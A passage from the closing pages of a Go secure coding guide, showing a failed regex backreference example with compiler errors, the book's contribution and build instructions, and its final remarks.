console.log(regex.test(testString2));
// expected output: true
console.log(regex.test(testString3));
// expected output: false
package main
import (
"fmt"
"regexp"
)
func main() {
testString1 := "<h1>Go Secure Coding Practices Guide</h1>"
testString2 := "<p>Go Secure Coding Practices Guide</p>"
testString3 := "<h1>Go Secure Coding Practices Guid</p>"
regex := regexp.MustCompile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\/\1>")
fmt.Println(regex.MatchString(testString1))
fmt.Println(regex.MatchString(testString2))
fmt.Println(regex.MatchString(testString3))
}
$ go run src/backreference.go
# command-line-arguments
src/backreference.go:12:64: unknown escape sequence
src/backreference.go:12:67: non-octal character in escape sequence: >
81
You may feel tempted to fix these errors, coming up with the following
regular expression:
<([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1>
go run src/backreference.go
panic: regexp: Compile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1>"): error parsing regexp:
goroutine 1 [running]:
regexp.MustCompile(0x4de780, 0x21, 0xc00000e1f0)
/usr/local/go/src/regexp/regexp.go:245 +0x171
main.main()
/go/src/backreference.go:12 +0x3a
exit status 2
82
How to Contribute
This project is based on GitHub and can be accessed by clicking
here.
Environment setup
If you want to contribute to this book, you should setup the following
tools on your system:
How to start
Ok, now you're ready to contribute.
Fork the go-webapp-scp repo and then clone your own repository.
The next step is to enable Git Flow hooks; enter your local repository
83
$ cd go-webapp-scp
and run
Once you're ready to merge your work with others, you should go to
the main repository and open a Pull Request to the develop branch.
Then, someone will review your work, leave any comments, request
changes and/or simply merge it on branch develop of project's main
repository.
This will apply your change on both develop and master branches.
As you can see, until now there were no commits to the master
branch. Great! This is reserved for releases . When the work is ready
to become publicly available, the project owner will do the release.
The shell output will include a localhost URL where you can
preview the book.
How to Build
84
If you have node installed, you can run:
You can also build the book using an ephemeral Docker container:
85
Final Notes
The Checkmarx Research team is confident that this Go Secure
Coding Practices Guide provided value to you. We encourage you to
refer to it often, as you're developing applications written in Go. The
information found in this book can help you develop more-secure
applications and avoid the common mistakes and pitfalls that lead to
vulnerable applications. Understanding that exploitation techniques
are always evolving, new vulnerabilities might be found in the future,
based on dependencies that may make your application vulnerable.
86